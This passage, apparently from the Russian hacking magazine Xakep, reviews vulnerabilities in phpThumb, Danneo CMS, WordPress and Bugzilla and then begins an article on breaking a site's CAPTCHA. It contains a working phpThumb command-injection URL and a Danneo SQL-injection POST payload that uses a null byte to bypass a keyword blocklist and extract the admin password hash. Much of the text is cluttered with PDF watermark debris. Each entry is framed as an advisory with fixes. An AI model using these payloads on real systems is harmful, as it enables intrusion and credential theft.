Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
15.43 Mб
Скачать

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

 

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

BUY

 

m

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

 

 

 

.

 

 

 

 

 

 

 

.c

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Результатпроведенияsql инъекциивDanneo CMS

АдминкаDanneo CMS

$execfunction($command, $output);

$returnvalue = implode("\n", $output);

break;

case 'shell_exec': ob_start();

$returnvalue = $execfunction($command); ob_end_clean();

break;

}

}

Данныйкодвциклеперебираетперечисленныевышесистемные функцииPHP ивыполняетзаданнуюкомандучерезлюбуюдоступную изних(что, кстати, бываетполезно, есливдирективеdisable_functions админыотключиливсе«опасные» функции, кроме, кпримеру, passthru). Каквидно, никакихпроверокнакорректностькомандыприэтомне проводится— онапростопередаетсянаисполнение.

Идемдальше. ТеперьнамнеобходимонайтитакоеместовphpThumb, кудамысможембезбоязненновнедритьсвоипроизвольныекоманды. Такойкодлегконаходитсявphpthumb.class.php:

function ImageMagickThumbnailToGD() {

foreach ($this->fltr as $filterkey => $filtercommand) { @list($command, $parameter) = explode('|', $filtercommand, 2);

//параметры, передаваемые ImageMagick switch ($command) {

case 'blur':

if ($this->ImageMagickSwitchAvailable('blur')) { @list($radius) = explode('|', $parameter); $radius = ($radius ? $radius : 1);

$commandline .= ' -blur '.$radius; unset($this->fltr[$filterkey]);

}

break;

$this->DebugMessage('ImageMagick called as ('.$commandline.')', __FILE__, __LINE__);

$IMresult = phpthumb_functions::SafeExec($commandline );

$this->DebugMessage('ImageMagick failed with message ('.trim($IMresult).')', __FILE__, __LINE__);

}

XÀÊÅÐ 04 /135/ 10

039

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

 

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ВЗЛОМ

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Настройкиgnome-screensaver

Здесьнамнаиболееважныследующиечасти:

переменная$radius, котораязатемпередаетсяв$commandline, котораяиявляетсяаргументомдляупомянутойвышеSafeExec();

функциядлявыводадебаг-информацииDebugMessage() — имен-

носпомощьюнеемысможемувидетьрезультатвыполнениянашей команды.

Итак, параметрыфильтровдляImageMagick передаютсявскриптс помощьюследующегозапроса(примердля«blur"):

site.com/phpThumb.php?fltr[]=blur|5

Дебаг-информациявыводитсянакартинкетак(различныеуровни дебагаот1 до9, насинтересуетпоследний):

http://site.com/phpThumb.php?phpThumbDebug=9

Принимая во внимание тот факт, что упомянутые выше параметры никоим образом не фильтруются, мы можем приступить к конструированию запроса на выполнение произвольных команд в phpThumb.

EXPLOIT Дляэксплуатациибаганамнуженполныйпутьдолюбойкартинки, хранящейсялокальнонасервере. Картинку, ядумаю, тынайдешь ибезмоейпомощи, аполныйпутькнейможноузнатьизтогожедебаг параметра. Итоговыйэксплойтдля*nix можетвыглядетьследующим образом:

http://site.com/phpThumb_1.7.9/phpThumb. php?src=/home/site.com/public_html/kartinka.

SVN проектаgnome-screensaver-svn

jpg&fltr[]=blur|5 -quality 75 -interlace line «/ home/site.com/public_html/kartinka.jpg" jpeg:"/ home/site.com/public_html/kartinka.jpg" ; [ТВОЯ_КОМАНДА] ;&phpThumbDebug=9

Перейдяпоэтомуадресу, тыувидишьсгенереннуюкартинкусрезультатомвыполнениятвоейкоманды. Болееподробныйразборполетов, а такжепримерэксплуатацииподWindows ищинаhttp://snipper.ru/view/8/ phpthumb-179-arbitrary-command-execution-exploit.

TARGETS phpThumb <= 1.7.9

SOLUTION Вкачествевременногорешенияпроблемытыможешь отключитьиспользованиеImageMagick передGD спомощьюдирективы вконфигеphpThumb:

040

XÀÊÅÐ 04 /135/ 10

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

ДемонстрацияуязвимостивphpThumb

$PHPTHUMB_CONFIG['prefer_imagemagick'] = false;

илипростоотключитьвсеопасныефункцииспомощьюдирективыPHP disable_functions.

DANNEO CMS <= 0.5.2 SQL INJECTION

 

 

03VULNERABILITY

 

 

BRIEF CMS Danneo — этоопенсорснаясистемауправлениясайтом,

 

 

созданнаярусскимиразработчикамиидикопопулярнаянатерритории

 

 

СНГ. Поддерживаетвсеосновныефишкисвоистаршихсобратьев: SEO

 

 

friendly ссылки, управлениепользователями, статьями, опросами, ком-

 

 

ментариями, загрузкамедиа-контентаит.д.

 

 

НетакдавноInj3ct0r (самопровозглашенныйпродолжательдела

 

 

milw0rm.com сУкраины) нашелвупомянутойCMS замечательнуюфраг-

 

 

ментированнуюSQL-инъекцию.

 

 

Давайпроследимвместесавторомпричинуеевозникновения.

 

 

Итак, находимследующийкодвфайле./mod/poll/comment.php:

 

официальныйсайтphpThumb

 

 

 

$comtext=($setting['peditor']=="yes") ?

 

 

commentparse($comtext) : deltags(commentparse($comtex

 

comment VALUES

t));

 

(NULL,'".$id."','".$usermain['useri

$comname = (preparse($usermain['logged'],THIS_INT)==1

 

d']."','".NEWTIME."',

&& preparse($usermain['userid'],THIS_INT)>0) ?

 

'$comname','$comtitle','$comtext','".

$usermain['uname'] : substr(deltags($comname),0,50);

 

REMOTE_ADDRS."')");

$comtitle = substr(deltags($comtitle),0,255);

 

 

 

Каквидно, переменная$comtitle урезаетсядо255 символов, чтоделает

 

 

$in = $db->query("INSERT INTO «.$basepref."_polling_

 

возможнымпроведениефрагментированнойинъекции(послеслеши-

 

 

 

XÀÊÅÐ 04 /135/ 10

041

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

 

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ВЗЛОМ

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

УязвимостьвWordPress

рованиякавычекбыло«\'», стало«\ "») вследующемзанимпараметре $comtext. Этогоуязвимогокодабылобыдостаточно, еслибынефильтрв

./base/danneo.track.php, который, поидее, долженпресекатьвсеподозрительныезапросыкдвижку:

$baddata = array("UNION", "OUTFILE", "FROM", "SELECT", "WHERE", "SHUTDOWN", "UPDATE", "DELETE", "CHANGE", "MODIFY", "RENAME", "RELOAD", "ALTER", "GRANT", "DROP", "INSERT", "CONCAT", "cmd», "exec",

"--"

);

foreach($_REQUEST as $params => $inputdata){ foreach($baddata as $badkey => $badvalue){

if(is_string($inputdata) && eregi($badvalue,$inputdata)){ $badcount=1; }

}

}

Еслитызнакомсподшивкой][ запоследниепарулет, то, наверняка, должензнатьотом, чтофункцияereg[i] неравнодушноотноситсяк нулл-байту, такчтоделоостаетсязамалым— внедритьеговнужную намдляинъекциипеременную$comtext, чтобыобойтиданныймер-

зкийфильтр. ВэтомнампоможеткодизядраDanneo, спрятанныйв./ base/danneo.function.php:

if(!ini_get("register_globals") || (@get_cfg_ var('register_globals')==1)){ //@import_request_variables('GPC'); @extract($_COOKIE,EXTR_SKIP); @extract($_POST,EXTR_SKIP); @extract($_GET,EXTR_SKIP); @extract($_REQUEST,EXTR_SKIP);

if(get_magic_quotes_gpc()) {

if($_POST) $_POST = stripslashesall($_POST); if($_GET) $_GET = stripslashesall($_GET); if($_REQUEST) $_REQUEST = stripslashesall($_REQUEST); if($_COOKIE) $_COOKIE = stripslashesall($_COOKIE);

}

Здесьтыможешьувидеть, чтопривключеннойдирективеmagic_quotes любыеслешивырезаютсяфункциейstripslashesall() (этопроисходитуже послеглобализациипользовательскихпеременных, такчто$comtitle и$comtext всеравноуйдутвSQL-запросужесослешами), такчтонаш нулл-байтбезболезненнопройдетвстроенныйфильтр:)

EXPLOITДляэксплуатациибаганамнеобходимоподготовитьтрипере-

менные:

1.$comname — любыебуквыицифры, 5-10 символов;

2.$comtitle — 254 любыхсимволаплюскавычкавконце(еслижеmagic_ quotes = off, тоставимпростообратныйслеш«\");

3.$comtext/*[NULLBYTE]*/,(SELECTadpwdFROMdn052_adminLIMIT1),1)---

ПосылаемспециальнымобразомсформированныйPOST-пакетксайту- жертве:

comname=lololo&comtitle=[254 символа]'&comtext=/*\ x00*/, (SELECT adpwd FROM dn052_admin LIMIT 1), 1)-- -&id=[ID опроса]&ajax=0&re=comment

Такимобразом, итоговыйSQL-запросбудетвыглядетьследующим образом:

042

XÀÊÅÐ 04 /135/ 10

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ЗаплаткадлябагавWordPress

INSERT INTO dn052_polling_comment VALUES (NULL,'1','0', '1230987393','lololo','[254 символа]\','/*\0*/, (SELECT adpwd FROM dn052_admin LIMIT 1), 1)-- -','127.0.0.1')

Врезультатетыувидишьхешпароляадминавсвоемкомментарии. Подробностиуязвимостиищипоадресуhttp://www.inj3ct0r.com/ exploits/11004.

TARGETS Danneo CMS <= 0.5.2

SOLUTION Длязакрытияуязвимостипростообновисьдопоследней версиидвижка, скачатькоторыйможнонаофициальномсайтеDanneo CMS http://danneo.com/down/view/CMS.html.

04ОБХОДОГРАНИЧЕНИЙ БЕЗОПАСНОСТИВWORDPRESS

BRIEF Думаю, чтонетсмысларассказыватьтебеотакойпопулярной системеуправленияблогами, какWordPress, поэтомусразуперейдемк делу.

Итак, в2.9 веткедвижкапоявиласьноваяфункциональность— корзина(trash) дляпостов. Тоесть, еслитынаписалкакое-либосообщение, азатемтебезахотелосьегоудалить, ононеудаляется, апопадаетв корзину, причемнасамомблогессылканатакойпостбудетвиднатолько егоавтору.

Уязвимость, найденнаяТомомМаккензииРайаномДьюхестом, заключаетсявтом, чтоудаленныйавторизованныйпользовательслюбыми правамиможетбезпроблемпросматриватьтакиесообщения.

Теперьдавайвзглянемнакодиз./wp-includes/query.php, которыйотвечаетзапросмотрпостов, неимеющихстатус«publish»:

if ( ('publish' != $status) ) {

if ( ! is_user_logged_in() ) {

// User must be logged in to view unpublished

posts.

$this->posts = array(); } else {

if (in_array($status, array('draft', 'pending'))

) {

Изэтогокодавидно, что:

1.Неопубликованныепостымогутпросматриватьтолькоавторизованныеюзеры;

2.Неопубликованнымипостамисчитаютсятолько«draft» и«pending», простатус«trash» разработчикипопростузабыли.

EXPLOIT Подробностиуязвимости, атакжеэксплойт, которыйсамищет trash-постынанужномблогесоткрытойрегистрациейтысможешьнай-

тиворигинальномadvisory поадресуhttp://tmacuk.co.uk/?p=180.

TARGETS WordPress 2.9, 2.9.1

XÀÊÅÐ 04 /135/ 10

SOLUTION Какивсегда, незабывайпросвоевременныеобновления своегоблога— http://wordpress.org/download.

05РАСКРЫТИЕДАННЫХВBUGZILLA

BRIEF

Bugzilla — этоизвестнейшийопенсорсныйбаг-трекер, которыйиспользуетсямножествомпопулярныхпроектов(например, Мозиллой— https://bugzilla.mozilla.org).

Недавновданномдвижкебылиобнаруженысразудвеуязвимости, которыепозволяютудаленномупользователюраскрытьчувствительную информацию.

Перваяуязвимостьзаключаетсявтом, чтопоумолчаниювБагзилленет запретанапросмотрнекоторыхважныхфайловикаталоговспомощьюбанального.htaccess, авторая— втом, чтодвижокнеправильно организуетполитикудоступакбагам, перемещеннымизодногопродукта вдругой.

Смотримфайлprocess_bug.cgi (врайоне249 линии):

foreach my $group (@{$bug->product_obj->groups_valid})

Ошибказаключаетсявтом, «$bug->product_obj" обновляетсядо применениягрупповыхполитикбезопасности, тоестьнаданном этапебагвсеещенеперемещенвновыйпродукт, мытольколишь лишьпроверяемвалидностьстарыхгруппэтогопродукта, ноникакне новых. Такимобразом, всегруппы, которыенеявляютсядоступными длястарогопродукта, игнорируются.

EXPLOIT

Эксплуатация уязвимостей выглядит достаточно тривиально:

1.Просто натравливаем свой браузер на открытые каталоги «CVS/», «contrib/», «docs/en/xml/», «t/" и файл «old-params.txt», в котором может храниться бэкап настроек движка;

2.Еслиприватныйбагпереноситсяизодногопродуктавдругой, при этомодинаковыегруппынеиспользуютсядляобоихпродуктовинеприменяютсяникакиедругиеограничениядлягрупп, тоэтотбагстановится видимымдлявсех(уженастраниценовогопродукта), такчтотылегко сможешьпросмотретьвсюинформациюобагевоткрытомдоступе. Подробное advisory для этих уязвимостей ищи на официальном сайте Багзиллы bugzilla.org/security/3.0.10.

TARGETS

Первыйбаг: Bugzilla < 3.0.11, < 3.2.6, < 3.4.5, <3.5.3 Второйбаг: Bugzilla версийот3.3.1 до3.4.4 и3.5.1, 3.5.2

SOLUTION Все обновления безопасности для Bugzilla качай здесь: http://www.bugzilla.org/download (или просто используй

.htaccess для ограничения доступа к указанным каталогам и файлу и грамотно применяй групповые политики безопасности для своих приватных багов). z

043

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

F

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

t

 

 

 

 

P

D

 

 

 

 

 

 

 

 

 

o

 

 

 

 

 

 

NOW!

 

r

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

ВЗЛОМ

 

w

 

 

 

 

 

 

 

 

 

 

 

 

Артём Заруцкий primat.isu@gmail.com

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

 

o

m

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

Взлом

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

DVD

dvd

Полнуюверсиюразработанныхскриптов, показывающихна примеревзломкапчи xakep.ru, тынайдешь надиске

РАЗБИРАЕМСЯ, КАК ЛОМАЮТ КАПЧИ

В последнее время ни один более или менее популярный сайт не обходится без использовании капчи. Эпоха «Веб 2.0» дала пользователям возможность изменять содержание сайтов, но такую возможность получили и спамеры.

Ручное заполнение форм спамерам экономически невыгодно, поэтому они используют роботов, на пути которых и становится капча. CAPTCHA — Completely Automated Public Turing test

to tell Computers and Humans Apart. Принцип капчи основан на сложности автоматического распознавания искаженного и зашумленного текста.

АДЕКВАТНОСТЬ ЗАЩИТЫ

При выборе капчи стоит исходить из основного правила построения систем безопасности — стоимость взлома не должна превышать стоимость того, что может получить злоумышленник. Однако, в случае с капчей есть две проблемы, не позволяющие нам в полной мере реализовать это правило. Во-первых, чрезмерное усложнение капчи может отпугнуть некоторую часть посетителей сайта, например, если заставлять их вводить код с изображения при добавлении каждого комментария (как это делают некоторые владельцы блогов в LiveJournal). Вторая проблема — «китайцы». В интернете существует несколько сервисов, предлагающих услуги по ручному распознаванию капчей жителями Китая и некоторых других стран, готовых работать за мизерную плату. Часть этих сервисов заявляют, что обладают уникальными технологиями автоматического распознавания образов, однако, при ближайшем рассмотрении такие факты, как задержка в 30 секунд перед отправкой ответа и вероятность распознавания выше 90%, выдают их реальные схемы. Стоимость распознавания 1000 экземпляров начинается от $1, что не так уж и много. Кроме того, существует давно известный способ бесплатного краудсорсин-

га — подстановка капчи, требующей распознавания, на другой ресурс (как правило порно-сайт), пользователи которого, ничего не подозревая, будут вводить код с изображения. Эти факты ограничивают наши

044

XÀÊÅÐ 04 /135/ 10

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Эффектналоженияфильтрапояркости

 

 

Вырезаем4 цифрыизизображе-

Нанекоторыхизображенияхлиниипрактическинепересекаютциф-

нияиприводимихкпрямоуголь-

номувиду(16x24 пикселов)

ры, итакиеизображениявстречаютсядостаточночасто

 

возможности по усложнению защиты.

Говоря об адекватности защиты, стоит разделить спам-роботов на автоматических и полуавтоматических. Автоматические роботы подобно роботам поисковых систем переходят с сайта на сайт и пытаются заполнить и отправить любую форму, которую встретят по пути. Если после отправки формы на странице появляется отправленная информация, форма заносится в список и периодически «спамится». Продвинутые версии таких роботов способны распознавать некоторые виды популярных капч, но большая часть капчей, особенно разработанные для сайта индивидуально, таких роботов успешно останавливают. Собственно, автоматические роботы и являются основной угрозой для подавляющего большинства сайтов. Сайты с большой посещаемостью или хотя бы хорошим рейтингом PageRank могут удостоиться персонального внимания спамеров, что может означать более «тонкую» настройку робота, использование «китайцев» или применение системы распознавания образов, пример которой будет рассмотрен чуть ниже в этой статье.

НЕМНОГО МАТЕМАТИКИ

При распознавании капчи задача состоит не столько в увеличении точности распознавания, как это может показаться на первый взгляд, сколько в минимизации процессорного времени, необходимого для успешного распознавания одного экземпляра. Немногие сайты отслеживают количество неудачных попыток ввода капчи, но в любом случае такие ограничения легко обходятся при использовании нескольких прокси-серверов. Таким образом точность распознавания, равная даже в 1%, может считаться успешной, при условии приемлемого расхода процессорного времени на все 100 попыток. Одна из основных характеристик капчи — количество возможных вариантов ответа. Допустим, наша капча состоит из 6 цифр и символов латинского алфавита в нижнем регистре, тогда количество всех возможных комбинаци й (10 + 26) ^ 6 равно приблизительно 2 млрд., что практически недостижимо для случайного перебора. К сожалению, не все проводят такие расчеты, поэтому периодически появляются капчи, предлагающие ответить, какое животное изображено на картинке, имея при этом всего лишь 10 вариантов ответа. При ручном анализе такого сайта, спамеру будет достаточно указать роботу только один вариант ответа — теория вероятностей сделает все остальное. Сюда же можно отнести и всевозможные арифметические задачи («Сколько будет пять умножить на семь?»), которые легко решаются при помощи регулярных выражений. Однако, для полностью автоматических роботов даже такого вида защиты будет достаточно.

Ещё одно популярное заблуждение создателей капчей: чем сложнее прочитать код человеку, тем сложнее прочитать его роботу. Это заблуждение приводит к появлению капч, которые пользователи с трудом вводят с десятой попытки, но при этом автоматическое распознавание работает на ура. Например, человеку трудно читать светлый шрифт на светлом фоне, а для системы распознавания разница между цветами в один бит так же легко определяется как и визуально заметная разница. Вообще, использование в капче более чем двух цветов практически бесполезно, обратите внимание на капчи крупных сайтов — большая часть из них состоят из темной одноцветной надписи на белом фоне. Это связано с тем,

что наиболее сложной задачей является распознавание текста в самой надписи, а не поиск её местоположения на изображении. Помимо прямой уязвимости, капча может оказаться ненадежной из-за уязвимости в скриптах. Например, самая глупая ошибка — передавать текст капчи в виде параметра к скрипту, который генерирует изображение. Или возможность использовать код с изображения несколько раз в течение какого-то времени.

ПРИМЕР ВЗЛОМА

Итак, лучший способ понять, как оценить надежность капчи — разобрать пример взлома. Выбор пал на капчу сайта xakep.ru, которая используется при регистрации новых пользователей и добавлении комментариев. Код состоит из четырех цифр, что дает нам 10000 вариантов — не так уж и много, но от прямого перебора защитит. Для вывода цифр используется один шрифт, надпись слегка поворачивается в пространстве, но поворот настолько незначительный, что мы не будем принимать его во внимание. «Пиксельный» шум по всему изображению снимается простейшим фильтром по яркости: все пиксели, яркость которых выше некоторого значения, закрашиваются белым цветом, остальные — черным. Такая операция очищает практически весь шум, за исключением отдельных точек, не мешающих дальнейшей обработке. Остается лишь одна проблема — случайно разбросанные линии, которые значительно затрудняют, во-первых, определение позиции надписи, во-вторых, распознавание отдельных цифр. Поставим задачу довести 